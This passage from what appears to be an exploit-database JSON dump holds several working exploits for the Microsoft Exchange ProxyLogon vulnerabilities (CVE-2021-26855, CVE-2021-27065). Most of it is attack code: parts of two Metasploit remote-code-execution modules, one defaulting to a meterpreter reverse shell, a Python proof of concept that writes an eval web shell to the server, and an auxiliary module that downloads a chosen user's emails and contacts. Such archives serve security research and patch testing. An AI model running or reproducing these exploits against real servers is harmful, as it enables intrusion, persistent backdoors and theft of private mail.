200)\n break\n end\n\n print_warning(\"Wait a lot (#{i})\")\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end\n\n def search_oab(server_name, sid)\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n\n print_status('Try to get a good msExchCanary (by patching user SID method)')\n session_id, canary = request_proxylogon(server_name, patch_sid(sid))\n if canary\n session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, session, canary)\n end\n\n if oab_id.nil? || oab_id.empty?\n print_status('Try to get a good msExchCanary (without correcting the user SID)')\n session_id, canary = request_proxylogon(server_name, sid)\n if canary\n session = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\"\n oab_id = request_oab(server_name, sid, session, canary)\n end\n end\n\n fail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty?\n fail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty?\n fail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty?\n\n print_status(\"ASP.NET_SessionId: #{session_id}\")\n print_status(\"msExchEcpCanary: #{canary}\")\n print_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n return [sid, session, canary, oab_id]\n end\n\n def send_http(method, ssrf, opts = {})\n ssrf = \"X-BEResource=#{ssrf};\"\n if opts[:cookie] && !opts[:cookie].empty?\n opts[:cookie] = \"#{ssrf} #{opts[:cookie]}\"\n else\n opts[:cookie] = ssrf.to_s\n end\n\n opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?\n\n request = {\n 'method' => method,\n 'uri' => @random_uri,\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype]\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL']}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n web_dir = datastore['IISWritePath'].gsub('\\\\', '/')\n else\n web_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n web_dir\n end\n\n def write_payload(exploit_info)\n # exploit_info: [server_name, sid, session, canary, oab_id]\n\n remote_file = \"#{rand_text_alpha(4..8)}.aspx\"\n if datastore['UseAlternatePath']\n remote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n else\n remote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n remote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\"\n end\n\n data = {\n identity: {\n __type: 'Identity:ECP',\n DisplayName: (exploit_info[4][0]).to_s,\n RawIdentity: (exploit_info[4][1]).to_s\n },\n properties: {\n Parameters: {\n __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',\n FilePathName: remote_path.to_s\n }\n }\n }.to_json\n\n response = send_http(\n 'POST',\n \"[email\u00a0protected]#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\",\n data: data,\n cookie: exploit_info[2],\n ctype: 'application/json; charset=utf-8',\n headers: {\n 'msExchLogonMailbox' => patch_sid(exploit_info[1]),\n 'msExchTargetMailbox' => patch_sid(exploit_info[1]),\n 'X-vDirObjectId' => (exploit_info[4][1]).to_s\n }\n )\n return '' if response.code != 200\n\n remote_file\n end\n\n def exploit\n @proto = (ssl ? 'https' : 'http')\n @random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\")\n\n print_status(message('Attempt to exploit for CVE-2021-26855'))\n exploit_info = run_cve_2021_26855\n\n print_status(message('Attempt to exploit for CVE-2021-27065'))\n shell_info = run_cve_2021_27065(exploit_info)\n\n @random_inputname = shell_info[0]\n @random_filename = shell_info[1]\n\n print_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\")\n if datastore['UseAlternatePath']\n remote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\"\n else\n remote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\"\n end\n register_files_for_cleanup(remote_file)\n\n # trigger powa!\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n response = execute_command(\"cmd /c #{payload.encoded}\")\n\n print_warning('Dumping command output in response')\n output = response.body.split('Name :')[0]\n if output.empty?\n print_error('Empty response, no command output')\n return\n end\n print_line(output)\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36024", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-22T06:55:42", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-11T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-03-11T00:00:00", "id": "1337DAY-ID-35944", "href": "https://0day.today/exploit/description/35944", "sourceData": "# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)\r\n# Date: 2021-03-10\r\n# Exploit Author: testanull\r\n# Vendor Homepage: https://www.microsoft.com\r\n# Version: MS Exchange Server 2013, 2016, 2019\r\n# CVE: 2021-26855, 2021-27065\r\n\r\nimport requests\r\nfrom urllib3.exceptions import InsecureRequestWarning\r\nimport random\r\nimport string\r\nimport sys\r\n\r\n\r\ndef id_generator(size=6, chars=string.ascii_lowercase + string.digits):\r\n return ''.join(random.choice(chars) for _ in range(size))\r\n\r\nif len(sys.argv) < 2:\r\n\tprint(\"Usage: python PoC.py <target> <email>\")\r\n\tprint(\"Example: python PoC.py mail.evil.corp [email\u00a0protected]\")\r\n\texit()\r\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\r\ntarget = sys.argv[1]\r\nemail = sys.argv[2]\r\nrandom_name = id_generator(3) + \".js\"\r\nuser_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\"\r\n\r\nshell_path = \"Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\ahihi.aspx\"\r\nshell_absolute_path = \"\\\\\\\\127.0.0.1\\\\c$\\\\%s\" % shell_path\r\n\r\nshell_content = '<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"exec_code\"],\"unsafe\");}</script>'\r\nlegacyDnPatchByte = \"68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a\"\r\nautoDiscoverBody = \"\"\"<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\r\n <Request>\r\n <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\r\n </Request>\r\n</Autodiscover>\r\n\"\"\" % email\r\n\r\nprint(\"Attacking target \" + target)\r\nprint(\"=============================\")\r\nprint(legacyDnPatchByte.decode('hex'))\r\nFQDN = \"EXCHANGE\"\r\nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\"Cookie\": \"X-BEResource=localhost~1942062522\",\r\n \"User-Agent\": user_agent},\r\n verify=False)\r\nif \"X-CalculatedBETarget\" in ct.headers and \"X-FEServer\" in ct.headers:\r\n FQDN = ct.headers[\"X-FEServer\"]\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"text/xml\",\r\n \"User-Agent\": user_agent},\r\n data=autoDiscoverBody,\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Autodiscover Error!\")\r\n exit()\r\nif \"<LegacyDN>\" not in ct.content:\r\n print(\"Can not get LegacyDN!\")\r\n exit()\r\n\r\nlegacyDn = ct.content.split(\"<LegacyDN>\")[1].split(\"</LegacyDN>\")[0]\r\nprint(\"Got DN: \" + legacyDn)\r\n\r\nmapi_body = legacyDn + \"\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/mapi/[email\u00a0protected]ab&a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"application/mapi-http\",\r\n \"User-Agent\": user_agent\r\n},\r\n data=mapi_body,\r\n verify=False\r\n )\r\nif ct.status_code != 200 or \"act as owner of a UserMailbox\" not in ct.content:\r\n print(\"Mapi Error!\")\r\n exit()\r\n\r\nsid = ct.content.split(\"with SID \")[1].split(\" and MasterAccountSid\")[0]\r\n\r\nprint(\"Got SID: \" + sid)\r\n\r\nproxyLogon_request = \"\"\"<r at=\"Negotiate\" ln=\"john\"><s>%s</s><s a=\"7\" t=\"1\">S-1-1-0</s><s a=\"7\" t=\"1\">S-1-5-2</s><s a=\"7\" t=\"1\">S-1-5-11</s><s a=\"7\" t=\"1\">S-1-5-15</s><s a=\"3221225479\" t=\"1\">S-1-5-5-0-6948923</s></r>\r\n\"\"\" % sid\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/proxyLogon.ecp?a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"text/xml\",\r\n \"User-Agent\": user_agent\r\n},\r\n data=proxyLogon_request,\r\n verify=False\r\n )\r\nif ct.status_code != 241 or not \"set-cookie\" in ct.headers:\r\n print(\"Proxylogon Error!\")\r\n exit()\r\n\r\nsess_id = ct.headers['set-cookie'].split(\"ASP.NET_SessionId=\")[1].split(\";\")[0]\r\n\r\nmsExchEcpCanary = ct.headers['set-cookie'].split(\"msExchEcpCanary=\")[1].split(\";\")[0]\r\nprint(\"Got session id: \" + sess_id)\r\nprint(\"Got canary: \" + msExchEcpCanary)\r\n\r\nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, sess_id, msExchEcpCanary),\r\n \"User-Agent\": user_agent\r\n},\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Wrong canary!\")\r\n print(\"Sometime we can skip this ...\")\r\nrbacRole = ct.content.split(\"RBAC roles:</span> <span class='diagTxt'>\")[1].split(\"</span>\")[0]\r\n# print \"Got rbacRole: \"+ rbacRole\r\n\r\nprint(\"=========== It means good to go!!!====\")\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n\r\n},\r\n json={\"filter\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"SelectedView\": \"\", \"SelectedVDirType\": \"All\"}}, \"sort\": {}},\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"GetOAB Error!\")\r\n exit()\r\noabId = ct.content.split('\"RawIdentity\":\"')[1].split('\"')[0]\r\nprint(\"Got OAB id: \" + oabId)\r\n\r\noab_json = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId},\r\n \"properties\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"ExternalUrl\": \"http://ffff/#%s\" % shell_content}}}\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n},\r\n json=oab_json,\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Set external url Error!\")\r\n exit()\r\n\r\nreset_oab_body = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId},\r\n \"properties\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"FilePathName\": shell_absolute_path}}}\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n},\r\n json=reset_oab_body,\r\n verify=False\r\n )\r\n\r\nif ct.status_code != 200:\r\n print(\"Write Shell Error!\")\r\n exit()\r\n\r\nprint(\"Successful!\")\n\n# 0day.today [2021-09-22] #", "sourceHref": "https://0day.today/exploit/35944", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-05-21T16:03:52", "description": "", "cvss3": {}, "published": "2021-05-21T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyLogon Collector", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-05-21T00:00:00", "id": "PACKETSTORM:162736", "href": "https://packetstormsecurity.com/files/162736/Microsoft-Exchange-ProxyLogon-Collector.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) \n# Date: 2021-03-02 \n# Exploit Author: RAMELLA S\u00e9bastien \n# Vendor Homepage: https://microsoft.com \n# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n# Tested on: Microsoft Windows 2012 R2 - Exchange 2016 \n \n## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \n# begin auxiliary class \nclass MetasploitModule < Msf::Auxiliary \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyLogon Collector', \n'Description' => %q{ \nThis module scan for a vulnerability on Microsoft Exchange Server that \nallows an attacker bypassing the authentication and impersonating as the \nadmin (CVE-2021-26855). \n \nBy chaining this bug with another post-auth arbitrary-file-write \nvulnerability to get code execution (CVE-2021-27065). \n \nAs a result, an unauthenticated attacker can execute arbitrary commands on \nMicrosoft Exchange Server. \n \nThis vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise) \n], \n'References' => [ \n['CVE', '2021-26855'], \n['LOGO', 'https://proxylogon.com/images/logo.jpg'], \n['URL', 'https://proxylogon.com/'], \n['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'], \n['URL', 'http://aka.ms/exchangevulns'] \n], \n'DisclosureDate' => '2021-03-02', \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Notes' => { \n'AKA' => ['ProxyLogon'] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'The email account what you want dump']), \nOptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), \nOptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted']) \n]) \n \nregister_advanced_options([ \nOptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512]) \n]) \nend \n \nXMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze \n \ndef grab_contacts \nresponse = send_xml(soap_findcontacts) \nxml = Nokogiri::XML.parse(response.body) \n \ndata = xml.xpath('//t:Contact', XMLNS) \nif data.empty? \nprint_status(' - the user has no contacts') \nelse \nwrite_loot(data.to_s) \nend \nend \n \ndef grab_emails(total_count) \n# get the emails list of the target folder. \nresponse = send_xml(soap_maillist(total_count)) \nxml = Nokogiri::XML.parse(response.body) \n \n# iteration to download the emails. \nxml.xpath('//t:ItemId', XMLNS).each do |item| \nprint_status(\" - download item: #{item.values[1]}\") \nresponse = send_xml(soap_download(item.values[0], item.values[1])) \nxml = Nokogiri::XML.parse(response.body) \n \nmessage = xml.at_xpath('//t:MimeContent', XMLNS).content \nwrite_loot(Rex::Text.decode_base64(message)) \nend \nend \n \ndef send_xml(data) \nuri = normalize_uri('ecp', 'temp.js') \n \nreceived = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => \"X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;\", \n'ctype' => 'text/xml; charset=utf-8', \n'data' => data \n) \nfail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef soap_download(id, change_key) \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:GetItem> \n<m:ItemShape> \n<t:BaseShape>IdOnly</t:BaseShape> \n<t:IncludeMimeContent>true</t:IncludeMimeContent> \n</m:ItemShape> \n<m:ItemIds> \n<t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" /> \n</m:ItemIds> \n</m:GetItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_findcontacts \n<<~SOAP \n<?xml version='1.0' encoding='utf-8'?> \n<soap:Envelope \nxmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' \nxmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' \nxmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' \nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> \n<soap:Body> \n<m:FindItem Traversal='Shallow'> \n<m:ItemShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:ItemShape> \n<m:IndexedPageItemView MaxEntriesReturned=\"#{datastore['MaxEntries']}\" Offset=\"0\" BasePoint=\"Beginning\" /> \n<m:ParentFolderIds> \n<t:DistinguishedFolderId Id='contacts'> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:ParentFolderIds> \n</m:FindItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_mailnum \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>Default</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"#{datastore['FOLDER']}\"> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_maillist(max_entries) \n<<~SOAP \n<?xml version='1.0' encoding='utf-8'?> \n<soap:Envelope \nxmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' \nxmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' \nxmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' \nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> \n<soap:Body> \n<m:FindItem Traversal='Shallow'> \n<m:ItemShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:ItemShape> \n<m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" /> \n<m:ParentFolderIds> \n<t:DistinguishedFolderId Id='#{datastore['FOLDER']}'> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:ParentFolderIds> \n</m:FindItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef write_loot(data) \nloot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '') \nprint_good(\" - file saved to #{loot_path}\") \nend \n \ndef run \n# get the informations about the targeted user account. \nresponse = send_xml(soap_mailnum) \nif response.body =~ /Success/ \nprint_status('Connection to the server is successful') \nprint_status(\" - selected account: #{datastore['EMAIL']}\\n\") \n \n# grab contacts. \nprint_status('Attempt to dump contacts list for this user') \ngrab_contacts \n \nprint_line \n \n# grab emails. \nprint_status('Attempt to dump emails for this user') \nxml = Nokogiri::XML.parse(response.body) \nfolder_id = xml.at_xpath('//t:FolderId', XMLNS).values \nprint_status(\" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})\") \n \ntotal_count = xml.at_xpath('//t:TotalCount', XMLNS).content \nprint_status(\" - number of email found: #{total_count}\") \n \nif total_count.to_i > datastore['MaxEntries'] \nprint_warning(\" - number of email recaluled due to max entries: #{datastore['MaxEntries']}\") \ntotal_count = datastore['MaxEntries'].to_s \nend \ngrab_emails(total_count) \nend \nend \n \nend \n \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/162736/msexchange-disclose.rb.txt"}, {"lastseen": "2021-03-23T16:45:01", "description": "", "cvss3": {}, "published": "2021-03-23T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyLogon Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-23T00:00:00", "id": "PACKETSTORM:161938", "href": "https://packetstormsecurity.com/files/161938/Microsoft-Exchange-ProxyLogon-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \n \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyLogon RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker bypassing the authentication, impersonating as the \nadmin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Dicovery (Officially acknowledged by MSRC) \n'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull) \n'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise) \n'print(\"\")', # https://www.o2oxy.cn/3169.html \n'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691 \n], \n'References' => [ \n['CVE', '2021-26855'], \n['CVE', '2021-27065'], \n['LOGO', 'https://proxylogon.com/images/logo.jpg'], \n['URL', 'https://proxylogon.com/'], \n['URL', 'http://aka.ms/exchangevulns'], \n['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'], \n[ \n'URL', \n'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265' \n], \n['URL', 'https://www.o2oxy.cn/3169.html'], \n['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup'] \n], \n'DisclosureDate' => '2021-03-02', \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon', \n'HttpClientTimeout' => 60, \n'RPORT' => 443, \n'SSL' => true, \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} 